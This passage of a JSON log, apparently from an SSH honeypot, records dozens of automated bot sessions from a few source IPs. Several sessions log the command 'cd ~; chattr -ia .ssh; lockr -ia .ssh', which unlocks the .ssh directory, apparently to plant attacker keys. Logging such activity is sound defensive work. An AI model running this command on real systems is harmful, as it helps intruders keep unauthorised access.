 },
 {
  "id": "de3174e4-d24d-47f3-b848-c5e793a02c47",
  "name": "rustic-plucky-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 40222,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:49:41.994411+00:00",
  "ended_at": "2026-08-27T11:49:43.518111+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "698fee8c-2b89-46d0-b4cc-02b7c9959eb1",
  "name": "nautical-meadow-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 34680,
  "username": "stefan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 260,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:49:34.676771+00:00",
  "ended_at": "2026-08-27T11:49:36.574511+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "1ef5b423-3b1a-4dd5-973b-494c225cb26a",
  "name": "hardy-crimson-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 32926,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:49:30.648420+00:00",
  "ended_at": "2026-08-27T11:49:32.360918+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "117a3347-1d54-4b05-97f2-fe54c1292b08",
  "name": "coral-deft-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 32912,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:49:28.237657+00:00",
  "ended_at": "2026-08-27T11:49:30.070841+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0b6d5ef4-409b-48df-ba01-eaa6779bc571",
  "name": "civil-patient-martin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 41352,
  "username": "stefan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:49:08.925390+00:00",
  "ended_at": "2026-08-27T11:49:10.125427+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0fb1c471-0252-4841-8c50-005fb0e8a78c",
  "name": "zealous-bitter-mongoose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 41340,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:49:07.015109+00:00",
  "ended_at": "2026-08-27T11:49:08.395382+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "389c32c9-156e-4ee3-8363-321d6eea2cc4",
  "name": "shaded-placid-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 51716,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 781,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:48:39.937153+00:00",
  "ended_at": "2026-08-27T11:48:41.766906+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "f2544d60-9dc4-4444-9fbe-2c1275375ffe",
  "name": "gleaming-twilight-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59226,
  "username": "suhail",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:48:21.401089+00:00",
  "ended_at": "2026-08-27T11:48:22.834572+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "9cb710b9-e5a4-416f-bd72-06aa8320edb2",
  "name": "lively-rambling-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 36786,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:48:18.236034+00:00",
  "ended_at": "2026-08-27T11:48:19.018264+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c33d41ec-9a53-4642-90c0-8444c5f69921",
  "name": "restless-clever-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 51718,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:48:15.883151+00:00",
  "ended_at": "2026-08-27T11:48:16.713675+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dfe7a811-f40b-493d-b3cc-55b640905e9c",
  "name": "bitter-quaint-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59240,
  "username": "suhail",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:48:03.354608+00:00",
  "ended_at": "2026-08-27T11:48:05.369175+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "00030452-c690-4616-bbdc-5492e2710ee0",
  "name": "graceful-glacial-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 37640,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 347,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:48:01.797262+00:00",
  "ended_at": "2026-08-27T11:48:03.011742+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2183
 },
 {
  "id": "12e0e4c4-4a0f-405e-ac80-b7263813e4ab",
  "name": "woven-grassy-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59230,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:48:00.524392+00:00",
  "ended_at": "2026-08-27T11:48:02.432212+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "643fabba-0c38-40d2-8dcc-19eb4c385720",
  "name": "gritty-brisk-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37664,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:47:45.270774+00:00",
  "ended_at": "2026-08-27T11:47:47.243425+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dd6a2939-0007-41cb-bd63-1f74977a05b8",
  "name": "wooded-eager-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37654,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:47:42.839805+00:00",
  "ended_at": "2026-08-27T11:47:44.615959+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8f2732d6-d038-4dc0-a35d-551ca9dc0e00",
  "name": "western-patient-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 57440,
  "username": "daniel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 288,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:47:33.422639+00:00",
  "ended_at": "2026-08-27T11:47:34.811523+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2155
 },
 {
  "id": "ae484628-f50a-4b60-b94c-163b3c388937",
  "name": "glacial-regal-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 55856,
  "username": "whatsapp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:47:29.864277+00:00",
  "ended_at": "2026-08-27T11:47:31.822564+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2263
 },
 {
  "id": "9a1516df-f6fe-4cd4-9a65-ecac63290dca",
  "name": "primal-sunlit-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 57468,
  "username": "daniel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:47:19.456888+00:00",
  "ended_at": "2026-08-27T11:47:20.304647+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "028fe905-74d9-46c7-8a91-afb28542dcc9",
  "name": "sooty-mossy-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 57454,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:47:18.190325+00:00",
  "ended_at": "2026-08-27T11:47:18.822010+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "62affa1c-68cb-4350-9b0d-6d8deda6a8a7",
  "name": "feathered-zealous-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55862,
  "username": "whatsapp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:47:05.483190+00:00",
  "ended_at": "2026-08-27T11:47:07.307918+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4bbb9650-5cee-4ddc-bb5b-2a8ef7ce827d",
  "name": "ginger-ruddy-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55858,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:47:04.168306+00:00",
  "ended_at": "2026-08-27T11:47:04.960668+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5cde8efb-2e28-4eef-8915-be0e7315f5c5",
  "name": "honest-thawing-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 39746,
  "username": "daniel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:45:57.022104+00:00",
  "ended_at": "2026-08-27T11:45:58.436862+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2133
 },
 {
  "id": "79ebdf76-ed7c-4355-95b7-93cad5300fce",
  "name": "ruddy-solar-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 40406,
  "username": "huser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1303,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:45:43.763868+00:00",
  "ended_at": "2026-08-27T11:45:45.556381+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "d625f9e6-cde4-4ed7-9c27-fa673947f09d",
  "name": "autumn-calm-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 41654,
  "username": "daniel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:42.510788+00:00",
  "ended_at": "2026-08-27T11:45:43.717737+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "890f51df-ffdd-43b5-89aa-d2c10197784d",
  "name": "shifting-leafy-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 41646,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:39.963778+00:00",
  "ended_at": "2026-08-27T11:45:41.857963+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cc4aff71-36c6-4253-bb14-82644f66ca46",
  "name": "snowy-airy-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 39684,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:45:36.791237+00:00",
  "ended_at": "2026-08-27T11:45:38.839540+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "4e206720-f61b-40ef-bd09-5e14bf814593",
  "name": "diligent-earnest-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59210,
  "username": "huser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 447,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:45:30.084868+00:00",
  "ended_at": "2026-08-27T11:45:31.382747+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "b4cea9e1-3b11-4ff1-adaf-d947918878b5",
  "name": "frank-foggy-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 55802,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:45:25.825292+00:00",
  "ended_at": "2026-08-27T11:45:27.889315+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2183
 },
 {
  "id": "8f084af5-a517-4c7c-9d67-80785f31e713",
  "name": "wandering-amiable-peccary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59220,
  "username": "huser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:13.516418+00:00",
  "ended_at": "2026-08-27T11:45:15.099093+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fd81c8c4-bc8e-4c60-9423-d7a48f6504bf",
  "name": "gritty-mighty-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59212,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:11.802648+00:00",
  "ended_at": "2026-08-27T11:45:12.598567+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a718bfe6-3881-4e49-bbc3-9b3e630fedaa",
  "name": "umber-woven-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 39692,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:11.683760+00:00",
  "ended_at": "2026-08-27T11:45:13.541254+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b5e8f38b-6d50-4ae9-8333-9b7007c93415",
  "name": "cosmic-fickle-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 55828,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:10.511008+00:00",
  "ended_at": "2026-08-27T11:45:12.074453+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "20743a92-119a-4dca-b070-ea5b1094c25a",
  "name": "craggy-amiable-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 39688,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:10.090758+00:00",
  "ended_at": "2026-08-27T11:45:11.175958+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ad63b314-b367-4507-a5ee-639c51c8694c",
  "name": "snowy-earnest-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 35996,
  "username": "huser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:09.649453+00:00",
  "ended_at": "2026-08-27T11:45:11.766514+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "11e04557-9c97-4b5f-88fd-1fed273b1584",
  "name": "jagged-crystal-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 55812,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:09.165960+00:00",
  "ended_at": "2026-08-27T11:45:09.926722+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7bca7eef-5b84-4e34-bed0-d7d62c67eb10",
  "name": "sleepy-smooth-goose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 40412,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:06.850520+00:00",
  "ended_at": "2026-08-27T11:45:08.193494+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "35d65587-5e48-476d-b292-410e632ac2a8",
  "name": "brisk-vernal-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 52084,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:43:58.000327+00:00",
  "ended_at": "2026-08-27T11:43:59.549429+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2118
 },
 {
  "id": "d11858f1-3fc6-41f1-b66f-9341a91633db",
  "name": "nameless-solemn-woodchuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 52098,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:43:43.276350+00:00",
  "ended_at": "2026-08-27T11:43:44.285001+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "75dd39d6-f1e2-42f3-969b-ed7169a8edbd",
  "name": "emerald-sterling-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 52096,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:43:41.424147+00:00",
  "ended_at": "2026-08-27T11:43:42.362029+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f0c3c9f2-c326-4b0e-aa47-ce9964411f8b",
  "name": "tangled-gloomy-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 51330,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:43:36.779184+00:00",
  "ended_at": "2026-08-27T11:43:37.774544+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "6d31d880-393f-40cb-bce0-572b4babfd4d",
  "name": "jovial-distant-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 39682,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:43:19.708244+00:00",
  "ended_at": "2026-08-27T11:43:21.106677+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2172
 },
 {
  "id": "aa42d23a-c595-4afe-b3d4-777790706a28",
  "name": "frosty-crystal-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 58274,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:43:16.145795+00:00",
  "ended_at": "2026-08-27T11:43:17.313008+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "814a1289-5831-4062-a221-27828e186434",
  "name": "primal-crisp-ibis",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51344,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:43:14.142807+00:00",
  "ended_at": "2026-08-27T11:43:15.627006+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "74c9d84c-d787-4a46-92ef-2873a8dcb02b",
  "name": "fabled-somber-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 36434,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:43:05.524747+00:00",
  "ended_at": "2026-08-27T11:43:06.358844+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "50f1c376-39ed-48ac-bb75-b1835ff30cf4",
  "name": "cobalt-northern-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 39686,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:43:03.577095+00:00",
  "ended_at": "2026-08-27T11:43:04.945583+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1427ae0c-299a-441f-be36-4cd1f2b5d923",
  "name": "hazel-sandy-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59190,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 456,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:42:48.712893+00:00",
  "ended_at": "2026-08-27T11:42:49.880090+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2291
 },
 {
  "id": "a9d9933a-f24d-47c7-b13f-224b574093e8",
  "name": "icy-patient-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 47686,
  "username": "user14",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 884,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:42:43.634788+00:00",
  "ended_at": "2026-08-27T11:42:45.278090+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2225
 },
 {
  "id": "928eeabd-9391-4fd7-8227-1fdde35b8b8d",
  "name": "lawful-verdant-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59202,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:42:30.743966+00:00",
  "ended_at": "2026-08-27T11:42:31.442384+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f44df70c-3c68-44fd-bc28-3410c805e107",
  "name": "muted-coastal-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59200,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:42:29.130142+00:00",
  "ended_at": "2026-08-27T11:42:29.834233+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1be4dca7-3c2c-426d-8593-2b0c6da56cfc",
